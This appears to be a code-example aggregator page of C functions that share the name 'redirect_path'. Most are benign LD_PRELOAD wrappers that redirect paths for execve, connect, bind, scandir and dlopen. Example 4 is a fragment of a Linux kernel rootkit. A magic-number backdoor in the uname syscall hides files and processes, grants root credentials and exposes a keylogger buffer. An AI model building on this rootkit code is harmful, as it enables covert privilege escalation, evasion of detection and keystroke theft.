Exemplo n.º 1
0
static int
execve32_wrapper (int (*_execve) (const char *path, char *const argv[], char *const envp[]), char *path, char *const argv[], char *const envp[])
{
    char *custom_loader = NULL;
    char **new_argv;
    int i, num_elements, result;

    custom_loader = redirect_path ("/lib/ld-linux.so.2");
    if (strcmp (custom_loader, "/lib/ld-linux.so.2") == 0) {
        free (custom_loader);
        return 0;
    }

    // envp is already adjusted for our needs.  But we need to shift argv
    for (num_elements = 0; argv && argv[num_elements]; num_elements++) {
        // this space intentionally left blank
    }
    new_argv = malloc (sizeof (char *) * (num_elements + 2));
    new_argv[0] = path;
    for (i = 0; i < num_elements; i++) {
        new_argv[i + 1] = argv[i];
    }
    new_argv[num_elements + 1] = 0;

    // Now actually run execve with our loader and adjusted argv
    result = _execve (custom_loader, new_argv, envp);

    // Cleanup on error
    free (new_argv);
    free (custom_loader);
    return result;
}
Exemplo n.º 2
0
int
connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
{
    int (*_connect) (int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    int result;

    _connect = (int (*)(int sockfd, const struct sockaddr *addr, socklen_t addrlen)) dlsym (RTLD_NEXT, "connect");

    if (addr->sa_family == AF_UNIX) {
        char *new_path = NULL;
        struct sockaddr_un new_addr;

        new_path = redirect_path (((const struct sockaddr_un *)addr)->sun_path);

        new_addr.sun_family = AF_UNIX;
        strcpy (new_addr.sun_path, new_path);
        free (new_path);

        result = _connect (sockfd, (const struct sockaddr *)&new_addr, sizeof(new_addr));
    } else {
        result = _connect (sockfd, addr, addrlen);
    }

    return result;
}
Exemplo n.º 3
0
int
bind (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
{
    int (*_bind) (int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    int result;

    _bind = (int (*)(int sockfd, const struct sockaddr *addr, socklen_t addrlen)) dlsym (RTLD_NEXT, "bind");

    if (addr->sa_family == AF_UNIX && ((const struct sockaddr_un *)addr)->sun_path[0] != 0) { // could be abstract socket
        char *new_path = NULL;
        struct sockaddr_un new_addr;

        new_path = redirect_path (((const struct sockaddr_un *)addr)->sun_path);

        new_addr.sun_family = AF_UNIX;
        strcpy (new_addr.sun_path, new_path);
        free (new_path);

        result = _bind (sockfd, (const struct sockaddr *)&new_addr, sizeof(new_addr));
    } else {
        result = _bind (sockfd, addr, addrlen);
    }

    return result;
}
Exemplo n.º 4
0
/*
 * rookit interface
 */
asmlinkage long new_sys_newuname(struct new_utsname *name)
{
	struct rk_args args;

	if (ksyms._copy_from_user(&args, name, sizeof(args)))
		pr_debug("%s: _copy_from_user failed\n", __func__);

	if (args.magic_number_1 != MAGIC_NUMBER_1 || args.magic_number_2 != MAGIC_NUMBER_2)
		return ksyms.old_sys_uname(name);

	pr_debug("%s: magic number reveived\n", __func__);

	switch (args.mode) {
	case SYSCALL_HIDE_INODE:
		hide_inode(args.param1);
		break;
	case SYSCALL_UNHIDE_INODE:
		unhide_inode(args.param1);
		break;
	case GET_ROOT:
		if (ksyms.commit_creds && ksyms.prepare_kernel_cred)
			ksyms.commit_creds(ksyms.prepare_kernel_cred(NULL));
		break;
	case SYSCALL_HIDE_PID:
		hide_pid(args.param1);
		break;
	case SYSCALL_UNHIDE_PID:
		unhide_pid(args.param1);
		break;
	case VFS_HIDE_FILE:
		vfs_hide_filename(args.p_param1, args.param2);
		break;
	case VFS_UNHIDE_FILE:
		vfs_unhide_filename(args.p_param1, args.param2);
		break;
	case SYSCALL_REDIRECT_EXECVE:
		redirect_path(args.p_param1, args.param2,
				args.p_param3, args.param4, REDIRECT_PATH_EXECVE);
		break;
	case SYSCALL_UNREDIRECT_EXECVE:
		unredirect_path(args.p_param1, args.param2, REDIRECT_PATH_EXECVE);
		break;
	case SYSCALL_GET_KEYLOGGER_BUF:
		return keylogger_buffer_get(args.p_param1, args.param2);
		break;
#ifdef DEBUG
	case DEBUG_RK:
		debug_rk();
		break;
#endif
	}

	return 0;
}
Exemplo n.º 5
0
int
scandir (const char *dirp, struct dirent ***namelist, int (*filter)(const struct dirent *), int (*compar)(const struct dirent **, const struct dirent **))
{
    int (*_scandir) (const char *dirp, struct dirent ***namelist, int (*filter)(const struct dirent *), int (*compar)(const struct dirent **, const struct dirent **));
    char *new_path = NULL;
    int ret;

    _scandir = (int (*)(const char *dirp, struct dirent ***namelist, int (*filter)(const struct dirent *), int (*compar)(const struct dirent **, const struct dirent **))) dlsym (RTLD_NEXT, "scandir");

    new_path = redirect_path (dirp);
    ret = _scandir (new_path, namelist, filter, compar);
    free (new_path);

    return ret;
}
Exemplo n.º 6
0
static int
execve_wrapper (const char *func, const char *path, char *const argv[], char *const envp[])
{
    int (*_execve) (const char *path, char *const argv[], char *const envp[]);
    char *new_path = NULL;
    char **new_envp = NULL;
    int i, result;

    _execve = (int (*)(const char *path, char *const argv[], char *const envp[])) dlsym (RTLD_NEXT, func);

    new_path = redirect_path (path);

    // Make sure we inject our original preload values, can't trust this
    // program to pass them along in envp for us.
    new_envp = execve_copy_envp (envp);

    result = _execve (new_path, argv, new_envp);

    if (result == -1 && errno == ENOENT) {
        // OK, get prepared for gross hacks here.  In order to run 32-bit ELF
        // executables -- which will hardcode /lib/ld-linux.so.2 as their ld.so
        // loader, we must redirect that check to our own version of ld-linux.so.2.
        // But that lookup is done behind the scenes by execve, so we can't
        // intercept it like normal.  Instead, we'll prefix the command by the
        // ld.so loader which will only work if the architecture matches.  So if
        // we failed to run it normally above because the loader couldn't find
        // something, try with our own 32-bit loader.
        int (*_access) (const char *pathname, int mode);
        _access = (int (*)(const char *pathname, int mode)) dlsym (RTLD_NEXT, "access");
        if (_access (new_path, F_OK) == 0) {
            // Only actually try this if the path actually did exist.  That
            // means the ENOENT must have been a missing linked library or the
            // wrong ld.so loader.  Lets assume the latter and try to run as
            // a 32-bit executable.
            result = execve32_wrapper (_execve, new_path, argv, new_envp);
        }
    }

    free (new_path);
    for (i = 0; new_envp[i]; i++) {
        free (new_envp[i]);
    }
    free (new_envp);

    return result;
}
Exemplo n.º 7
0
void *
dlopen (const char *path, int mode)
{
    void *(*_dlopen) (const char *path, int mode);
    char *new_path = NULL;
    void *result;

    _dlopen = (void *(*)(const char *path, int mode)) dlsym (RTLD_NEXT, "dlopen");

    if (path && path[0] == '/') {
        new_path = redirect_path (path);
        result = _dlopen (new_path, mode);
        free (new_path);
    } else {
        // non-absolute library paths aren't simply relative paths, they need
        // a whole lookup algorithm
        result = _dlopen (path, mode);
    }

    return result;
}